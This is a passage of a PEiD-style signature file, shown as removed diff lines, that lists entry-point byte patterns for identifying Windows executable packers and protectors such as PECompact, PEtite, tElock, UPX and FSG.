-[PECompact v1.4x+] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 -ep_only = true - -[PECompact v1.84] -signature = 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 -ep_only = true - -[PECompact v2.0 beta -> Jeremy Collake] -signature = B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC 90 90 90 90 -ep_only = true - -[PE Diminisher v0.1] -signature = 53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74 -ep_only = true - -[PE Diminisher v0.1] -signature = 5D 8B D5 81 ED A2 30 40 ?? 2B 95 91 33 40 ?? 81 EA 0B ?? ?? ?? 89 95 9A 33 40 ?? 80 BD 99 -ep_only = true - -[PEncrypt v1.0] -signature = 60 9C BE 00 10 40 00 8B FE B9 28 03 00 00 BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61 -ep_only = true - -[PEncrypt v3.0] -signature = E8 00 00 00 00 5D 81 ED 05 10 40 00 8D B5 24 10 40 00 8B FE B9 0F 00 00 00 BB ?? ?? ?? ?? AD 33 C3 E2 FA -ep_only = true - -[PEncrypt v3.1] -signature = E9 ?? ?? ?? 00 F0 0F C6 -ep_only = true - -[PEnguinCrypt v1.0] -signature = B8 93 ?? ?? 00 55 50 67 64 FF 36 00 00 67 64 89 26 00 00 BD 4B 48 43 42 B8 04 00 00 00 CC 3C 04 75 04 90 90 C3 90 67 64 8F 06 00 00 58 5D BB 00 00 40 00 33 C9 33 C0 -ep_only = true - -[PENightMare v1.3] -signature = 60 E8 00 00 00 00 5D B9 ?? ?? ?? ?? 80 31 15 41 81 F9 -ep_only = true - -[PENightMare 2 Beta] -signature = 60 E9 ?? ?? ?? ?? EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A -ep_only = true - -[PENinja] -signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 -ep_only = true - -[PENinja modified] -signature = 5D 8B C5 81 ED B2 2C 40 00 2B 85 94 3E 40 00 2D 71 02 00 00 89 85 98 3E 40 00 0F B6 B5 9C 3E 40 00 8B FD -ep_only = true - -[PEMangle] -signature = 60 9C BE ?? ?? ?? ?? 8B FE B9 ?? ?? ?? ?? BB 44 52 4F 4C AD 33 C3 -ep_only = true - -[PESHiELD v0.1b MTE] -signature = E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 1B 01 ?? ?? D1 -ep_only = true - -[PESHiELD v0.2 / v0.2b / v0.2b2] -signature = 60 E8 ?? ?? ?? ?? 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04 -ep_only = true - -[PESHiELD v0.25] -signature = 60 E8 2B 00 00 00 -ep_only = true - -[PESHiELD v0.251] -signature = 5D 83 ED 06 EB 02 EA 04 8D -ep_only = true - -[PEShit] -signature = B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 F9 00 7E 06 80 30 ?? 40 E2 F5 E9 ?? ?? ?? FF -ep_only = true - -[PE Spin v0.b] -signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9 8B 95 68 20 40 00 8B 42 3C 03 C2 89 85 76 20 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D 8A 20 40 00 8B 59 24 03 DA 8B 1B 89 9D 8E 20 40 00 53 8F 85 E2 1F 40 00 8D 85 92 20 40 00 6A 0C 5B 6A 17 59 30 0C 03 02 CB 4B 75 F8 40 8D 9D 41 8F 4E 00 50 53 81 2C 24 01 78 0E 00 FF B5 8A 20 40 00 C3 92 EB 15 68 BB ?? 00 00 00 B9 90 08 00 00 8D BD FF 20 40 00 4F 30 1C 39 FE CB E2 F9 68 1D 01 00 00 59 8D BD 2F 28 40 00 C0 0C 39 02 E2 FA 68 A0 20 40 00 50 01 6C 24 04 E8 BD 09 00 00 33 C0 0F 84 C0 08 00 -ep_only = true - -[PEtite v1.2] -signature = 9C 60 E8 CA ?? ?? ?? 03 ?? 04 ?? 05 ?? 06 ?? 07 ?? 08 -ep_only = true - -[PEtite v1.3] -signature = ?? ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? F0 ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1 68 ?? ?? ?? ?? 53 50 80 04 24 08 50 80 04 24 42 -ep_only = true - -[PEtite v1.4] -signature = ?? ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC -ep_only = true - -[PEtite v1.4] -signature = 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 14 8B CC -ep_only = true - -[PEtite v2.0] -signature = B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 18 8B CC 8D A0 54 BC ?? ?? 8B C3 8D 90 E0 15 ?? ?? 68 -ep_only = true - -[PEtite v2.1] -signature = B8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50 -ep_only = true - -[PEtite v2.2] -signature = B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50 -ep_only = true - -[PEtite vx.x] -signature = B8 ?? ?? ?? ?? 66 9C 60 50 -ep_only = true - -[PEX v0.99] -signature = E9 F5 ?? ?? ?? 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 -ep_only = true - -[PEX v0.99] -signature = 60 E8 01 ?? ?? ?? ?? 83 C4 04 E8 01 ?? ?? ?? ?? 5D 81 -ep_only = true - -[PKLITE32 v1.1] -signature = 55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 00 00 00 5D C2 0C 00 8B 45 0C 57 56 53 8B 5D 10 -ep_only = true - -[PKLITE32 v1.1] -signature = 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 00 00 00 00 E8 -ep_only = true - -[PKLITE32 v1.1] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31 -ep_only = true - -[PKLITE32 1.1 -> PKWARE Inc.] -signature = 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 00 00 00 00 E8 ?? ?? ?? ?? E9 -ep_only = true - -[Private EXE v2.0a] -signature = 53 E8 00 00 00 00 5B 8B C3 2D -ep_only = true - -[Private EXE v2.0a] -signature = EB ?? CD ?? ?? ?? ?? ?? CD ?? ?? ?? ?? ?? EB ?? EB ?? EB ?? EB ?? CD ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 C3 -ep_only = true - -[Program Protector XP v1.0] -signature = E8 ?? ?? ?? ?? 58 83 D8 05 89 C3 81 C3 ?? ?? ?? ?? 8B 43 64 50 -ep_only = true - -[Protection Plus vx.x] -signature = 50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85 28 ?? ?? ?? 50 6A -ep_only = true - -[RatPacker (Glue) stub] -signature = 40 20 FF 00 00 00 00 00 00 00 ?? BE 00 60 40 00 8D BE 00 B0 FF FF -ep_only = true - -[Shrinker v3.2] -signature = 83 3D ?? ?? ?? ?? ?? 55 8B EC 56 57 75 65 68 00 01 ?? ?? E8 ?? E6 FF FF 83 C4 04 8B 75 08 A3 ?? ?? ?? ?? 85 F6 74 1D 68 FF -ep_only = true - -[Shrinker v3.3] -signature = 83 3D ?? ?? ?? 00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8 -ep_only = true - -[Shrinker v3.4] -signature = 83 3D B4 ?? ?? ?? ?? 55 8B EC 56 57 75 6B 68 00 01 00 00 E8 ?? 0B 00 00 83 C4 04 8B 75 08 A3 B4 ?? ?? ?? 85 F6 74 23 83 7D 0C 03 77 1D 68 FF -ep_only = true - -[Shrink Wrap v1.4] -signature = 58 60 8B E8 55 33 F6 68 48 01 ?? ?? E8 49 01 ?? ?? EB -ep_only = true - -[SecuPack v1.5] -signature = 55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 ?? E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 ?? 64 FF 30 64 89 20 6A ?? 68 80 ?? ?? ?? 6A 03 6A ?? 6A 01 ?? ?? ?? 80 -ep_only = true - -[SmokesCrypt v1.2] -signature = 60 B8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8A 14 08 80 F2 ?? 88 14 08 41 83 F9 ?? 75 F1 -ep_only = true - -[Soft Defender v1.0 - v1.1] -signature = 74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD ?? 59 9C 50 74 0A 75 08 E8 59 C2 04 ?? 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 ?? ?? ?? ?? 58 05 BA 01 ?? ?? 03 C8 74 BE 75 BC E8 -ep_only = true - -[Soft Defender v1.1x -> Randy Li] -signature = 74 07 75 05 ?? ?? ?? ?? ?? 74 1F 75 1D ?? 68 ?? ?? ?? 00 59 9C 50 74 0A 75 08 ?? 59 C2 04 00 ?? ?? ?? E8 F4 FF FF FF ?? ?? ?? 78 0F 79 0D -ep_only = true - -[SoftSentry v2.11] -signature = 55 8B EC 83 EC ?? 53 56 57 E9 50 -ep_only = true - -[SoftSentry v3.0] -signature = 55 8B EC 83 EC ?? 53 56 57 E9 B0 06 -ep_only = true - -[SoftWrap] -signature = 52 53 51 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 36 ?? ?? ?? E8 ?? 01 ?? ?? 60 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F -ep_only = true - -[Spalsher v1.0 - v3.0] -signature = 9C 60 8B 44 24 24 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 50 E8 ED 02 ?? ?? 8C C0 0F 84 -ep_only = true - -[Special EXE Password Protector v1.0] -signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 -ep_only = true - -[SPEC b2] -signature = 55 57 51 53 E8 ?? ?? ?? ?? 5D 8B C5 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 09 89 85 ?? ?? ?? ?? 0F B6 -ep_only = true - -[SPEC b3] -signature = 5B 53 50 45 43 5D E8 ?? ?? ?? ?? 5D 8B C5 81 ED 41 24 40 ?? 2B 85 89 26 40 ?? 83 E8 0B 89 85 8D 26 40 ?? 0F B6 B5 91 26 40 ?? 8B FD -ep_only = true - -[Stealth PE v1.1] -signature = BA ?? ?? ?? 00 FF E2 BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 03 B8 ?? ?? ?? ?? 89 02 83 C2 FD FF E2 -ep_only = true - -[Stone's PE Encryptor v1.0] -signature = 55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 63 3A 40 ?? 2B 95 C2 3A 40 ?? 83 EA 0B 89 95 CB 3A 40 ?? 8D B5 CA 3A 40 ?? 0F B6 36 -ep_only = true - -[Stone's PE Encryptor v1.13] -signature = 55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 97 3B 40 ?? 2B 95 2D 3C 40 ?? 83 EA 0B 89 95 36 3C 40 ?? 01 95 24 3C 40 ?? 01 95 28 -ep_only = true - -[Stone's PE Encryptor v2.0] -signature = 53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 42 30 40 ?? FF 95 32 35 40 ?? B8 37 30 40 ?? 03 C5 2B 85 1B 34 40 ?? 89 85 27 34 40 ?? 83 -ep_only = true - -[SVK-Protector v1.11] -signature = 60 E8 ?? ?? ?? ?? 5D 81 ED 06 ?? ?? ?? 64 A0 23 -ep_only = true - -[SVK-Protector v1.051] -signature = 60 EB 03 C7 84 E8 EB 03 C7 84 9A E8 00 00 00 00 5D 81 ED 10 00 00 00 EB 03 C7 84 E9 64 A0 23 00 00 00 EB -ep_only = true - -[SVK-Protector v1.32] -signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 -ep_only = true - -[Symantec Visual Cafe v3.0] -signature = 64 8B 05 ?? ?? ?? ?? 55 8B EC 6A FF 68 ?? ?? 40 ?? 68 ?? ?? 40 ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 08 50 53 56 57 89 65 E8 C7 45 FC -ep_only = true - -[SOFTWrapper for Win9x/NT (Evaluation Version)] -signature = E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF 5F 5E 83 C6 14 83 C7 14 EB D3 00 00 00 00 8B F5 81 C6 0D 0A 00 00 B9 0C 00 00 00 8B 85 03 0F 00 00 01 46 02 83 C6 06 E2 F8 E8 06 08 00 00 68 00 01 00 00 8D 85 DD 0D 00 00 50 6A 00 E8 95 09 00 00 8B B5 03 0F 00 00 66 81 3E 4D 5A 75 33 03 76 3C 81 3E 50 45 00 00 75 28 8B 46 28 03 85 03 0F 00 00 3B C5 74 1B 6A 30 E8 99 09 00 00 6A 30 8D 85 DD 0D 00 00 50 8D 85 2B 0F 00 00 E9 55 03 00 00 66 8B 85 9D 0A 00 00 F6 C4 80 74 31 E8 6A 07 00 00 0B C0 75 23 6A 40 E8 69 09 00 00 6A 40 8D 85 DD 0D 00 00 50 8B 9D 17 0F -ep_only = true - -[TASM / MASM] -signature = 6A 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00 -ep_only = true - -[tElock v1.00] -signature = E9 E5 E2 FF FF -ep_only = true - -[tElock v0.41x] -signature = 66 8B C0 8D 24 24 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 50 8B FE 68 78 01 ?? ?? 59 EB 01 EB AC 54 E8 03 ?? ?? ?? 5C EB 08 -ep_only = true - -[tElock v0.42] -signature = C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 52 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08 -ep_only = true - -[tElock v0.51] -signature = C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08 -ep_only = true - -[tElock v0.4x - v0.5x] -signature = C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 ?? 8B FE 68 79 01 ?? ?? 59 EB 01 -ep_only = true - -[tElock v0.60] -signature = E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08 -ep_only = true - -[tElock v0.70] -signature = 60 E8 BD 10 00 00 C3 83 E2 00 F9 75 FA 70 -ep_only = true - -[tElock v0.71] -signature = 60 E8 ED 10 00 00 C3 83 -ep_only = true - -[tElock v0.71b2] -signature = 60 E8 44 11 00 00 C3 83 -ep_only = true - -[tElock v0.71b7] -signature = 60 E8 48 11 00 00 C3 83 -ep_only = true - -[tElock v0.80] -signature = 60 E8 F9 11 00 00 C3 83 -ep_only = true - -[tElock v0.7x - v0.84] -signature = 60 E8 00 00 C3 83 -ep_only = true - -[tElock v0.85f] -signature = 60 E8 02 00 00 00 CD 20 E8 00 00 00 00 5E 2B C9 58 74 02 -ep_only = true - -[tElock v0.90] -signature = ?? ?? E8 02 00 00 00 E8 00 E8 00 00 00 00 5E 2B -ep_only = true - -[tElock v0.92a] -signature = E9 7E E9 FF FF 00 -ep_only = true - -[tElock v0.95] -signature = E9 D5 E4 FF FF 00 -ep_only = true - -[tElock v0.96] -signature = E9 59 E4 FF FF 00 -ep_only = true - -[tElock v0.98] -signature = E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E -ep_only = true - -[tElock v0.98b1] -signature = E9 25 E4 FF FF -ep_only = true - -[tElock v0.98b2] -signature = E9 1B E4 FF FF -ep_only = true - -[tElock v0.99] -signature = E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? 02 00 00 00 00 00 ?? ?? 02 00 00 00 00 00 ?? ?? 02 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? 02 00 ?? ?? 02 00 ?? ?? 02 00 77 ?? 02 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 00 00 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 00 00 ?? 00 00 ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 00 00 00 00 -ep_only = true - -[tElock 1.0 (private) -> tE!] -signature = E9 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 -ep_only = true - -[The Guard Library] -signature = 50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3 -ep_only = true - -[Thinstall vx.x] -signature = B8 EF BE AD DE 50 6A ?? FF 15 10 19 40 ?? E9 AD FF FF FF -ep_only = true - -[UG2002 Cruncher v0.3b3] -signature = 60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? E8 0D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 58 -ep_only = true - -[UPX v0.51] -signature = 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 D8 01 ?? ?? 83 CD FF 31 DB ?? ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 0B 8A 06 46 88 07 47 EB EB 90 -ep_only = true - -[UPX v0.60 - v0.61] -signature = 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 E8 -ep_only = true - -[UPX v0.62] -signature = 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 F0 01 ?? ?? 83 CD FF 31 DB 90 90 90 EB 08 90 90 8A 06 46 88 07 47 01 DB 75 07 -ep_only = true - -[UPX v0.70] -signature = 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 EC 01 ?? ?? 83 CD FF 31 DB EB 07 90 8A 06 46 88 07 47 01 DB 75 07 -ep_only = true - -[UPX v0.71 - v0.72] -signature = 60 E8 00 00 00 00 83 CD FF 31 DB 5E 8D BE FA ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 81 C6 B3 01 ?? ?? EB 0A ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 -ep_only = true - -[UPX v0.89.6 - v1.02 / v1.05 - v1.22 DLL] -signature = 80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF -ep_only = true - -[UPX v0.80 - v0.84] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF 75 09 8B 1E 83 EE FC -ep_only = true - -[UPX v0.89.6 - v1.02 / v1.05 - v1.22] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC -ep_only = true - -[UPX Custom] -signature = 90 90 90 90 90 90 8A 06 46 88 07 47 01 db -ep_only = true - -[FSG v1.33 (Eng) -> dulek/xt] -signature = BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF -ep_only = true - -[Crypto-Lock v2.02 (Eng) -> Ryan Thian] -signature = 60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 -ep_only = true - -[PassLock 2000 v1.0 (Eng) -> Moonlight-Software] -signature = 55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 -ep_only = true - -[PESpin v0.3 (Eng) -> cyberbob] -signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 -ep_only = true - -[Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven] -signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E -ep_only = true - -[Crypto-Lock v2.02 (Eng) -> Ryan Thian] -signature = 60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 -ep_only = true - -[Crypto-Lock v2.02 (Eng) -> Ryan Thian] -signature = 60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 -ep_only = true - -[Exact Audio Copy -> (UnknownCompiler)] -signature = E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = true - -[FSG v1.00 (Eng) -> dulek/xt] -signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 51 FF FF FF 5F BB 28 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1C ?? ?? 00 00 00 00 00 00 00 00 -ep_only = true - -[FSG v1.10 (Eng) -> bart/xt] -signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 